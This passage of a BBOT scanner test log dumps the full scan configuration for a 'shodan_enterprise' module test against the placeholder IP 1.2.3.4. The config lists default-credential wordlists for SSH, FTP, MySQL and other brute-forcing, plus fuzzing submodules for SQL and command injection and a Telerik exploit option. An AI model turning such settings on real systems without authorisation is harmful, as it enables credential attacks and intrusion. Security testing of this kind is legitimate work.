'SCAN:5afcfd8f3d4a4e6cf52ccea2dfe2bb0bcb065135', 'name': 'testshodan_enterprise_test_ww2fvo6n1e', 'target': {'seeds': ['1.2.3.4'], 'whitelist': ['1.2.3.4/32'], 'blacklist': [], 'strict_scope': False, 'hash': '87f0150c3e9449d043e2a8fddb8735cd115a9ebd', 'seed_hash': '09c35807ba47a82592ef88e5d6304ea699b8cbe2', 'whitelist_hash': '0f33b011938e6d3a37d684a39bb81b783e4a06c6', 'blacklist_hash': 'da39a3ee5e6b4b0d3255bfef95601890afd80709', 'scope_hash': '21e2b6c9a319c3a3040171b34ac91ce866c47eb9'}, 'preset': {'description': 'testshodan_enterprise_test_ww2fvo6n1e', 'config': {'home': '/tmp/.bbot_test', 'keep_scans': 20, 'status_frequency': 15, 'file_blobs': False, 'folder_blobs': False, 'scope': {'strict': False, 'report_distance': 0, 'search_distance': 0}, 'dns': {'disable': False, 'minimal': True, 'threads': 25, 'brute_threads': 1000, 'brute_nameservers': 'https://raw.githubusercontent.com/blacklanternsecurity/public-dns-servers/master/nameservers.txt', 'search_distance': 1, 'runaway_limit': 5, 'timeout': 1, 'retries': 1, 'wildcard_disable': False, 'wildcard_ignore': ['blacklanternsecurity.com', 'fakedomain', 'notreal', 'google', 'google.com', 'example.com', 'evilcorp.com', 'one'], 'wildcard_tests': 10, 'abort_threshold': 50, 'filter_ptrs': True, 'debug': False, 'omit_queries': ['SRV:mail.protection.outlook.com', 'CNAME:mail.protection.outlook.com', 'TXT:mail.protection.outlook.com']}, 'web': {'http_proxy': None, 'user_agent': 'BBOT Test User-Agent', 'spider_distance': 0, 'spider_depth': 1, 'spider_links_per_page': 25, 'http_timeout': 10, 'httpx_timeout': 5, 'http_headers': {'test': 'header'}, 'api_retries': 2, 'http_retries': 1, 'httpx_retries': 1, '429_sleep_interval': 30, '429_max_sleep_interval': 60, 'debug': False, 'http_max_redirects': 5, 'ssl_verify': False}, 'engine': {'debug': True}, 'deps': {'ffuf': {'version': '2.1.0'}, 'behavior': 'retry_failed'}, 'module_dirs': [], 'module_handle_event_timeout': 3600, 'module_handle_batch_timeout': 7200, 'speculate': False, 'excavate': False, 'aggregate': False, 'dnsresolve': True, 'cloudcheck': False, 'url_querystring_remove': True, 'url_querystring_collapse': True, 'url_extension_blacklist': ['png', 'jpg', 'bmp', 'ico', 'jpeg', 'gif', 'svg', 'webp', 'css', 'woff', 'woff2', 'ttf', 'eot', 'sass', 'scss', 'mp3', 'm4a', 'wav', 'flac', 'mp4', 'mkv', 'avi', 'wmv', 'mov', 'flv', 'webm'], 'url_extension_special': ['js'], 'url_extension_static': ['pdf', 'doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx', 'txt', 'csv', 'xml', 'yaml', 'ini', 'log', 'conf', 'cfg', 'env', 'md', 'rtf', 'tiff', 'bmp', 'jpg', 'jpeg', 'png', 'gif', 'svg', 'ico', 'mp3', 'wav', 'flac', 'mp4', 'mov', 'avi', 'mkv', 'webm', 'zip', 'tar', 'gz', 'bz2', '7z', 'rar'], 'parameter_blacklist': ['__VIEWSTATE', '__EVENTARGUMENT', '__EVENTVALIDATION', '__EVENTTARGET', '__EVENTARGUMENT', '__VIEWSTATEGENERATOR', '__SCROLLPOSITIONY', '__SCROLLPOSITIONX', 'ASP.NET_SessionId', 'PHPSESSID', '__cf_bm', 'f5_cspm'], 'parameter_blacklist_prefixes': ['TS01', 'BIGipServer', 'incap_', 'visid_incap_', 'AWSALB', 'utm_', 'ApplicationGatewayAffinity', 'JSESSIONID', 'ARRAffinity'], 'omit_event_types': [], 'interactsh_server': None, 'interactsh_disable': False, 'modules': {'massdns': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/deepmagic.com-prefixes-top500.txt'}, 'ffuf': {'prefix_busting': True, 'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-directories.txt', 'lines': 5000, 'max_depth': 0, 'extensions': '', 'ignore_case': False, 'rate': 0}, 'http': {'url': '', 'bearer': '', 'method': 'POST', 'timeout': 10, 'siem_friendly': False}, 'websocket': {'url': '', 'preserve_graph': True, 'ignore_ssl': False}, 'web_parameters': {'output_file': '', 'include_count': False}, 'discord': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'emails': {'output_file': ''}, 'teams': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'txt': {'output_file': ''}, 'neo4j': {'uri': 'bolt://localhost:7687'}, 'asset_inventory': {'output_file': '', 'use_previous': False, 'recheck': False, 'summary_netmask': 16}, 'sqlite': {'database': ''}, 'web_report': {'output_file': '', 'css_theme_file': 'https://cdnjs.cloudflare.com/ajax/libs/github-markdown-css/5.1.0/github-markdown.min.css'}, 'csv': {'output_file': ''}, 'postgres': {'host': 'localhost', 'port': 5432, 'database': 'bbot'}, 'python': {}, 'subdomains': {'output_file': '', 'include_unresolved': False}, 'stdout': {'format': 'text', 'event_types': [], 'event_fields': [], 'in_scope_only': False, 'accept_dupes': True}, 'nmap_xml': {}, 'json': {'output_file': '', 'siem_friendly': False}, 'slack': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'splunk': {'url': '', 'index': '', 'source': '', 'timeout': 10}, 'mysql': {'host': 'localhost', 'port': 3306, 'database': 'bbot'}, 'lightfuzz': {'force_common_headers': False, 'enabled_submodules': ['sqli', 'cmdi', 'xss', 'path', 'ssti', 'crypto', 'serial', 'esi'], 'disable_post': False, 'try_post_as_get': False, 'try_get_as_post': False, 'avoid_wafs': True}, 'aggregate': {}, 'cloudcheck': {}, 'excavate': {'yara_max_match_data': 2000, 'custom_yara_rules': '', 'speculate_params': False}, 'speculate': {'max_hosts': 65536, 'ports': '80,443', 'essential_only': False}, 'unarchive': {}, 'dnsresolve': {}, 'asn': {}, 'affiliates': {}, 'legba': {'ssh_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt', 'ftp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt', 'telnet_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt', 'vnc_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/vnc-betterdefaultpasslist.txt', 'mssql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mssql-betterdefaultpasslist.txt', 'mysql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt', 'postgresql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/postgres-betterdefaultpasslist.txt', 'concurrency': 3, 'rate_limit': 3, 'version': '1.1.1'}, 'urlscan': {'urls': False}, 'jadx': {'threads': 4}, 'trufflehog': {'version': '3.90.8', 'config': '', 'only_verified': True, 'concurrency': 8, 'deleted_forks': False}, 'host_header': {}, 'securitytxt': {'emails': True, 'urls': True}, 'dnsdumpster': {}, 'bevigil': {'urls': False}, 'bucket_google': {'permutations': False}, 'git': {}, 'azure_realm': {}, 'extractous': {'extensions': ['bak', 'bash', 'bashrc', 'conf', 'cfg', 'crt', 'csv', 'db', 'sqlite', 'doc', 'docx', 'ica', 'indd', 'ini', 'json', 'key', 'pub', 'log', 'markdown', 'md', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'rdp', 'rsa', 'sh', 'sql', 'swp', 'sxw', 'txt', 'vbs', 'wpd', 'xls', 'xlsx', 'xml', 'yml', 'yaml']}, 'credshed': {'credshed_url': ''}, 'fullhunt': {}, 'social': {}, 'pgp': {'search_urls': ['https://keyserver.ubuntu.com/pks/lookup?fingerprint=on&op=vindex&search=', 'http://the.earth.li:11371/pks/lookup?fingerprint=on&op=vindex&search=', 'https://pgpkeys.eu/pks/lookup?search=&op=index', 'https://pgp.mit.edu/pks/lookup?search=&op=index']}, 'azure_tenant': {}, 'virustotal': {}, 'vhost': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'force_basehost': '', 'lines': 5000}, 'shodan_enterprise': {}, 'dnsbrute': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'max_depth': 5}, 'shodan_dns': {}, 'ip2location': {'lang': ''}, 'rapiddns': {}, 'wpscan': {'enumerate': 'vp,vt,cb,dbe', 'threads': 5, 'request_timeout': 5, 'connection_timeout': 2, 'disable_tls_checks': True, 'force': False}, 'dnscommonsrv': {'max_depth': 2}, 'passivetotal': {}, 'ntlm': {'try_all': False}, 'trickest': {}, 'google_playstore': {}, 'github_usersearch': {}, 'subdomainradar': {'group': 'fast', 'timeout': 120}, 'dockerhub': {}, 'medusa': {'snmp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/common-snmp-community-strings.txt', 'snmp_versions': ['1', '2C'], 'wait_microseconds': 200, 'timeout_s': 5, 'threads': 5}, 'digitorus': {}, 'wafw00f': {'generic_detect': True}, 'generic_ssrf': {'skip_dns_interaction': False}, 'filedownload': {'extensions': ['bak', 'bash', 'bashrc', 'cfg', 'conf', 'crt', 'csv', 'db', 'dll', 'doc', 'docx', 'exe', 'ica', 'indd', 'ini', 'jar', 'json', 'key', 'log', 'markdown', 'md', 'msi', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'pub', 'raw', 'rdp', 'rsa', 'sh', 'sql', 'sqlite', 'swp', 'sxw', 'tar.gz', 'tgz', 'tar', 'txt', 'vbs', 'war', 'wpd', 'xls', 'xlsx', 'xml', 'yaml', 'yml', 'zip', 'lzma', 'rar', '7z', 'xz', 'bz2'], 'max_filesize': '10MB', 'output_folder': ''}, 'chaos': {}, 'httpx': {'threads': 50, 'in_scope_only': True, 'version': '1.2.5', 'max_response_size': 5242880, 'store_responses': False, 'probe_all_ips': False}, 'baddns_zone': {'custom_nameservers': [], 'only_high_confidence': False}, 'graphql_introspection': {'graphql_endpoint_urls': ['/', '/graphql', '/v1/graphql'], 'output_folder': ''}, 'paramminer_headers': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'securitytrails': {}, 'bucket_microsoft': {'permutations': False}, 'viewdns': {}, 'url_manipulation': {'allow_redirects': True}, 'ffuf_shortnames': {'wordlist_extensions': '', 'max_depth': 1, 'version': '2.0.0', 'extensions': '', 'ignore_redirects': True, 'find_common_prefixes': False, 'find_delimiters': True, 'find_subwords': False, 'max_predictions': 250, 'rate': 0}, 'censys_ip': {'dns_names_limit': 100, 'in_scope_only': True}, 'builtwith': {'redirects': True}, 'certspotter': {}, 'sslcert': {'timeout': 5.0, 'skip_non_ssl': True}, 'gitdumper': {'output_folder': '', 'fuzz_tags': False, 'max_semanic_version': 10}, 'shodan_idb': {'retries': None}, 'hackertarget': {}, 'c99': {}, 'newsletters': {}, 'apkpure': {'output_folder': ''}, 'crt': {}, 'postman_download': {'output_folder': ''}, 'hunt': {}, 'dnsbrute_mutations': {'max_mutations': 100}, 'bucket_firebase': {'permutations': False}, 'nuclei': {'version': '3.7.0', 'tags': '', 'templates': '', 'severity': '', 'ratelimit': 150, 'concurrency': 25, 'mode': 'manual', 'etags': '', 'budget': 1, 'silent': False, 'directory_only': True, 'retries': 0, 'batch_size': 200, 'module_timeout': 21600}, 'censys_dns': {'max_pages': 5}, 'retirejs': {'version': '5.3.0', 'node_version': '18.19.1', 'severity': 'medium'}, 'git_clone': {'output_folder': ''}, 'bucket_amazon': {'permutations': False}, 'bucket_digitalocean': {'permutations': False}, 'skymem': {}, 'hunterio': {}, 'paramminer_cookies': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'postman': {}, 'code_repository': {}, 'gitlab_com': {}, 'dnstlsrpt': {'emit_emails': True, 'emit_raw_dns_records': False, 'emit_urls': True}, 'baddns': {'custom_nameservers': [], 'only_high_confidence': False, 'enabled_submodules': []}, 'subdomaincenter': {}, 'wayback': {'urls': False, 'garbage_threshold': 10}, 'ipstack': {}, 'emailformat': {}, 'fingerprintx': {'version': '1.1.4', 'skip_common_web': True}, 'dnscaa': {'in_scope_only': True, 'dns_names': True, 'emails': True, 'urls': True}, 'bypass403': {}, 'leakix': {}, 'paramminer_getparams': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'reflected_parameters': {}, 'crt_db': {}, 'bucket_file_enum': {'file_limit': 50}, 'portscan': {'top_ports': 100, 'ports': '', 'rate': 300, 'wait': 5, 'ping_first': False, 'ping_only': False, 'adapter': '', 'adapter_ip': '', 'adapter_mac': '', 'router_mac': '', 'module_timeout': 259200}, 'baddns_direct': {'custom_nameservers': []}, 'ajaxpro': {}, 'telerik': {'exploit_RAU_crypto': False, 'include_subdirs': False}, 'dnsbimi': {'emit_raw_dns_records': False, 'emit_urls': True, 'selectors': 'default,email,mail,bimi'}, 'aspnet_bin_exposure': {}, 'otx': {}, 'github_codesearch': {'limit': 100}, 'dehashed': {}, 'gowitness': {'version': '3.0.5', 'threads': 0, 'timeout': 10, 'resolution_x': 1440, 'resolution_y': 900, 'output_path': '', 'social': False, 'idle_timeout': 1800, 'chrome_path': ''}, 'docker_pull': {'all_tags': False, 'output_folder': ''}, 'ipneighbor': {'num_bits': 4}, 'bufferoverrun': {'commercial': False}, 'gitlab_onprem': {}, 'iis_shortnames': {'detect_only': True, 'max_node_count': 50, 'speculate_magic_urls': True}, 'badsecrets': {}, 'myssl': {}, 'github_workflows': {'num_logs': 1, 'output_folder': ''}, 'dotnetnuke': {}, 'smuggler': {}, 'robots': {'include_sitemap': False, 'include_allow': True, 'include_disallow': True}, 'anubisdb': {'limit': 1000}, 'oauth': {'try_all': False}, 'github_org': {'include_members': True, 'include_member_repos': False}, 'portfilter': {'cdn_tags': 'cdn-', 'allowed_cdn_ports': '80,443'}, 'sitedossier': {}}, 'agent_url': 'ws://127.0.0.1:8765', 'debug': True}, 'modules': ['shodan_enterprise'], 'output_modules': ['python'], 'scan_name': 'testshodan_enterprise_test_ww2fvo6n1e'}, 'started_at': '2026-02-27T21:27:15.310381', 'status': 'RUNNING'} -2026-02-27 21:27:16,074 [CRITICAL] bbot test_module_shodan_enterprise.py:23 set() -2026-02-27 21:27:16,075 [CRITICAL] bbot test_module_shodan_enterprise.py:25 SCAN("{'id': 'SCAN:5afcfd8f3d4a4e6cf52ccea2dfe2bb0bcb065135', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 21:27:16,076 [CRITICAL] bbot test_module_shodan_enterprise.py:19 IP_ADDRESS -2026-02-27 21:27:16,077 [CRITICAL] bbot test_module_shodan_enterprise.py:21 1.2.3.4 -2026-02-27 21:27:16,077 [CRITICAL] bbot test_module_shodan_enterprise.py:23 {'in-scope', 'ipv4', 'target'} -2026-02-27 21:27:16,078 [CRITICAL] bbot test_module_shodan_enterprise.py:25 SCAN("{'id': 'SCAN:5afcfd8f3d4a4e6cf52ccea2dfe2bb0bcb065135', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 21:27:16,079 [CRITICAL] bbot test_module_shodan_enterprise.py:19 SCAN -2026-02-27 21:27:16,080 [CRITICAL] bbot test_module_shodan_enterprise.py:21 {'id': 'SCAN:5afcfd8f3d4a4e6cf52ccea2dfe2bb0bcb065135', 'name': 'testshodan_enterprise_test_ww2fvo6n1e', 'target': {'seeds': ['1.2.3.4'], 'whitelist': ['1.2.3.4/32'], 'blacklist': [], 'strict_scope': False, 'hash': '87f0150c3e9449d043e2a8fddb8735cd115a9ebd', 'seed_hash': '09c35807ba47a82592ef88e5d6304ea699b8cbe2', 'whitelist_hash': '0f33b011938e6d3a37d684a39bb81b783e4a06c6', 'blacklist_hash': 'da39a3ee5e6b4b0d3255bfef95601890afd80709', 'scope_hash': '21e2b6c9a319c3a3040171b34ac91ce866c47eb9'}, 'preset': {'description': 'testshodan_enterprise_test_ww2fvo6n1e', 'config': {'home': '/tmp/.bbot_test', 'keep_scans': 20, 'status_frequency': 15, 'file_blobs': False, 'folder_blobs': False, 'scope': {'strict': False, 'report_distance': 0, 'search_distance': 0}, 'dns': {'disable': False, 'minimal': True, 'threads': 25, 'brute_threads': 1000, 'brute_nameservers': 'https://raw.githubusercontent.com/blacklanternsecurity/public-dns-servers/master/nameservers.txt', 'search_distance': 1, 'runaway_limit': 5, 'timeout': 1, 'retries': 1, 'wildcard_disable': False, 'wildcard_ignore': ['blacklanternsecurity.com', 'fakedomain', 'notreal', 'google', 'google.com', 'example.com', 'evilcorp.com', 'one'], 'wildcard_tests': 10, 'abort_threshold': 50, 'filter_ptrs': True, 'debug': False, 'omit_queries': ['SRV:mail.protection.outlook.com', 'CNAME:mail.protection.outlook.com', 'TXT:mail.protection.outlook.com']}, 'web': {'http_proxy': None, 'user_agent': 'BBOT Test User-Agent', 'spider_distance': 0, 'spider_depth': 1, 'spider_links_per_page': 25, 'http_timeout': 10, 'httpx_timeout': 5, 'http_headers': {'test': 'header'}, 'api_retries': 2, 'http_retries': 1, 'httpx_retries': 1, '429_sleep_interval': 30, '429_max_sleep_interval': 60, 'debug': False, 'http_max_redirects': 5, 'ssl_verify': False}, 'engine': {'debug': True}, 'deps': {'ffuf': {'version': '2.1.0'}, 'behavior': 'retry_failed'}, 'module_dirs': [], 'module_handle_event_timeout': 3600, 'module_handle_batch_timeout': 7200, 'speculate': False, 'excavate': False, 'aggregate': False, 'dnsresolve': True, 'cloudcheck': False, 'url_querystring_remove': True, 'url_querystring_collapse': True, 'url_extension_blacklist': ['png', 'jpg', 'bmp', 'ico', 'jpeg', 'gif', 'svg', 'webp', 'css', 'woff', 'woff2', 'ttf', 'eot', 'sass', 'scss', 'mp3', 'm4a', 'wav', 'flac', 'mp4', 'mkv', 'avi', 'wmv', 'mov', 'flv', 'webm'], 'url_extension_special': ['js'], 'url_extension_static': ['pdf', 'doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx', 'txt', 'csv', 'xml', 'yaml', 'ini', 'log', 'conf', 'cfg', 'env', 'md', 'rtf', 'tiff', 'bmp', 'jpg', 'jpeg', 'png', 'gif', 'svg', 'ico', 'mp3', 'wav', 'flac', 'mp4', 'mov', 'avi', 'mkv', 'webm', 'zip', 'tar', 'gz', 'bz2', '7z', 'rar'], 'parameter_blacklist': ['__VIEWSTATE', '__EVENTARGUMENT', '__EVENTVALIDATION', '__EVENTTARGET', '__EVENTARGUMENT', '__VIEWSTATEGENERATOR', '__SCROLLPOSITIONY', '__SCROLLPOSITIONX', 'ASP.NET_SessionId', 'PHPSESSID', '__cf_bm', 'f5_cspm'], 'parameter_blacklist_prefixes': ['TS01', 'BIGipServer', 'incap_', 'visid_incap_', 'AWSALB', 'utm_', 'ApplicationGatewayAffinity', 'JSESSIONID', 'ARRAffinity'], 'omit_event_types': [], 'interactsh_server': None, 'interactsh_disable': False, 'modules': {'massdns': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/deepmagic.com-prefixes-top500.txt'}, 'ffuf': {'prefix_busting': True, 'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-directories.txt', 'lines': 5000, 'max_depth': 0, 'extensions': '', 'ignore_case': False, 'rate': 0}, 'http': {'url': '', 'bearer': '', 'method': 'POST', 'timeout': 10, 'siem_friendly': False}, 'websocket': {'url': '', 'preserve_graph': True, 'ignore_ssl': False}, 'web_parameters': {'output_file': '', 'include_count': False}, 'discord': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'emails': {'output_file': ''}, 'teams': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'txt': {'output_file': ''}, 'neo4j': {'uri': 'bolt://localhost:7687'}, 'asset_inventory': {'output_file': '', 'use_previous': False, 'recheck': False, 'summary_netmask': 16}, 'sqlite': {'database': ''}, 'web_report': {'output_file': '', 'css_theme_file': 'https://cdnjs.cloudflare.com/ajax/libs/github-markdown-css/5.1.0/github-markdown.min.css'}, 'csv': {'output_file': ''}, 'postgres': {'host': 'localhost', 'port': 5432, 'database': 'bbot'}, 'python': {}, 'subdomains': {'output_file': '', 'include_unresolved': False}, 'stdout': {'format': 'text', 'event_types': [], 'event_fields': [], 'in_scope_only': False, 'accept_dupes': True}, 'nmap_xml': {}, 'json': {'output_file': '', 'siem_friendly': False}, 'slack': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'splunk': {'url': '', 'index': '', 'source': '', 'timeout': 10}, 'mysql': {'host': 'localhost', 'port': 3306, 'database': 'bbot'}, 'lightfuzz': {'force_common_headers': False, 'enabled_submodules': ['sqli', 'cmdi', 'xss', 'path', 'ssti', 'crypto', 'serial', 'esi'], 'disable_post': False, 'try_post_as_get': False, 'try_get_as_post': False, 'avoid_wafs': True}, 'aggregate': {}, 'cloudcheck': {}, 'excavate': {'yara_max_match_data': 2000, 'custom_yara_rules': '', 'speculate_params': False}, 'speculate': {'max_hosts': 65536, 'ports': '80,443', 'essential_only': False}, 'unarchive': {}, 'dnsresolve': {}, 'asn': {}, 'affiliates': {}, 'legba': {'ssh_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt', 'ftp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt', 'telnet_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt', 'vnc_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/vnc-betterdefaultpasslist.txt', 'mssql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mssql-betterdefaultpasslist.txt', 'mysql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt', 'postgresql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/postgres-betterdefaultpasslist.txt', 'concurrency': 3, 'rate_limit': 3, 'version': '1.1.1'}, 'urlscan': {'urls': False}, 'jadx': {'threads': 4}, 'trufflehog': {'version': '3.90.8', 'config': '', 'only_verified': True, 'concurrency': 8, 'deleted_forks': False}, 'host_header': {}, 'securitytxt': {'emails': True, 'urls': True}, 'dnsdumpster': {}, 'bevigil': {'urls': False}, 'bucket_google': {'permutations': False}, 'git': {}, 'azure_realm': {}, 'extractous': {'extensions': ['bak', 'bash', 'bashrc', 'conf', 'cfg', 'crt', 'csv', 'db', 'sqlite', 'doc', 'docx', 'ica', 'indd', 'ini', 'json', 'key', 'pub', 'log', 'markdown', 'md', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'rdp', 'rsa', 'sh', 'sql', 'swp', 'sxw', 'txt', 'vbs', 'wpd', 'xls', 'xlsx', 'xml', 'yml', 'yaml']}, 'credshed': {'credshed_url': ''}, 'fullhunt': {}, 'social': {}, 'pgp': {'search_urls': ['https://keyserver.ubuntu.com/pks/lookup?fingerprint=on&op=vindex&search=', 'http://the.earth.li:11371/pks/lookup?fingerprint=on&op=vindex&search=', 'https://pgpkeys.eu/pks/lookup?search=&op=index', 'https://pgp.mit.edu/pks/lookup?search=&op=index']}, 'azure_tenant': {}, 'virustotal': {}, 'vhost': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'force_basehost': '', 'lines': 5000}, 'shodan_enterprise': {}, 'dnsbrute': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'max_depth': 5}, 'shodan_dns': {}, 'ip2location': {'lang': ''}, 'rapiddns': {}, 'wpscan': {'enumerate': 'vp,vt,cb,dbe', 'threads': 5, 'request_timeout': 5, 'connection_timeout': 2, 'disable_tls_checks': True, 'force': False}, 'dnscommonsrv': {'max_depth': 2}, 'passivetotal': {}, 'ntlm': {'try_all': False}, 'trickest': {}, 'google_playstore': {}, 'github_usersearch': {}, 'subdomainradar': {'group': 'fast', 'timeout': 120}, 'dockerhub': {}, 'medusa': {'snmp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/common-snmp-community-strings.txt', 'snmp_versions': ['1', '2C'], 'wait_microseconds': 200, 'timeout_s': 5, 'threads': 5}, 'digitorus': {}, 'wafw00f': {'generic_detect': True}, 'generic_ssrf': {'skip_dns_interaction': False}, 'filedownload': {'extensions': ['bak', 'bash', 'bashrc', 'cfg', 'conf', 'crt', 'csv', 'db', 'dll', 'doc', 'docx', 'exe', 'ica', 'indd', 'ini', 'jar', 'json', 'key', 'log', 'markdown', 'md', 'msi', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'pub', 'raw', 'rdp', 'rsa', 'sh', 'sql', 'sqlite', 'swp', 'sxw', 'tar.gz', 'tgz', 'tar', 'txt', 'vbs', 'war', 'wpd', 'xls', 'xlsx', 'xml', 'yaml', 'yml', 'zip', 'lzma', 'rar', '7z', 'xz', 'bz2'], 'max_filesize': '10MB', 'output_folder': ''}, 'chaos': {}, 'httpx': {'threads': 50, 'in_scope_only': True, 'version': '1.2.5', 'max_response_size': 5242880, 'store_responses': False, 'probe_all_ips': False}, 'baddns_zone': {'custom_nameservers': [], 'only_high_confidence': False}, 'graphql_introspection': {'graphql_endpoint_urls': ['/', '/graphql', '/v1/graphql'], 'output_folder': ''}, 'paramminer_headers': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'securitytrails': {}, 'bucket_microsoft': {'permutations': False}, 'viewdns': {}, 'url_manipulation': {'allow_redirects': True}, 'ffuf_shortnames': {'wordlist_extensions': '', 'max_depth': 1, 'version': '2.0.0', 'extensions': '', 'ignore_redirects': True, 'find_common_prefixes': False, 'find_delimiters': True, 'find_subwords': False, 'max_predictions': 250, 'rate': 0}, 'censys_ip': {'dns_names_limit': 100, 'in_scope_only': True}, 'builtwith': {'redirects': True}, 'certspotter': {}, 'sslcert': {'timeout': 5.0, 'skip_non_ssl': True}, 'gitdumper': {'output_folder': '', 'fuzz_tags': False, 'max_semanic_version': 10}, 'shodan_idb': {'retries': None}, 'hackertarget': {}, 'c99': {}, 'newsletters': {}, 'apkpure': {'output_folder': ''}, 'crt': {}, 'postman_download': {'output_folder': ''}, 'hunt': {}, 'dnsbrute_mutations': {'max_mutations': 100}, 'bucket_firebase': {'permutations': False}, 'nuclei': {'version': '3.7.0', 'tags': '', 'templates': '', 'severity': '', 'ratelimit': 150, 'concurrency': 25, 'mode': 'manual', 'etags': '', 'budget': 1, 'silent': False, 'directory_only': True, 'retries': 0, 'batch_size': 200, 'module_timeout': 21600}, 'censys_dns': {'max_pages': 5}, 'retirejs': {'version': '5.3.0', 'node_version': '18.19.1', 'severity': 'medium'}, 'git_clone': {'output_folder': ''}, 'bucket_amazon': {'permutations': False}, 'bucket_digitalocean': {'permutations': False}, 'skymem': {}, 'hunterio': {}, 'paramminer_cookies': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'postman': {}, 'code_repository': {}, 'gitlab_com': {}, 'dnstlsrpt': {'emit_emails': True, 'emit_raw_dns_records': False, 'emit_urls': True}, 'baddns': {'custom_nameservers': [], 'only_high_confidence': False, 'enabled_submodules': []}, 'subdomaincenter': {}, 'wayback': {'urls': False, 'garbage_threshold': 10}, 'ipstack': {}, 'emailformat': {}, 'fingerprintx': {'version': '1.1.4', 'skip_common_web': True}, 'dnscaa': {'in_scope_only': True, 'dns_names': True, 'emails': True, 'urls': True}, 'bypass403': {}, 'leakix': {}, 'paramminer_getparams': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'reflected_parameters': {}, 'crt_db': {}, 'bucket_file_enum': {'file_limit': 50}, 'portscan': {'top_ports': 100, 'ports': '', 'rate': 300, 'wait': 5, 'ping_first': False, 'ping_only': False, 'adapter': '', 'adapter_ip': '', 'adapter_mac': '', 'router_mac': '', 'module_timeout': 259200}, 'baddns_direct': {'custom_nameservers': []}, 'ajaxpro': {}, 'telerik': {'exploit_RAU_crypto': False, 'include_subdirs': False}, 'dnsbimi': {'emit_raw_dns_records': False, 'emit_urls': True, 'selectors': 'default,email,mail,bimi'}, 'aspnet_bin_exposure': {}, 'otx': {}, 'github_codesearch': {'limit': 100}, 'dehashed': {}, 'gowitness': {'version': '3.0.5', 'threads': 0, 'timeout': 10, 'resolution_x': 1440, 'resolution_y': 900, 'output_path': '', 'social': False, 'idle_timeout': 1800, 'chrome_path': ''}, 'docker_pull': {'all_tags': False, 'output_folder': ''}, 'ipneighbor': {'num_bits': 4}, 'bufferoverrun': {'commercial': False}, 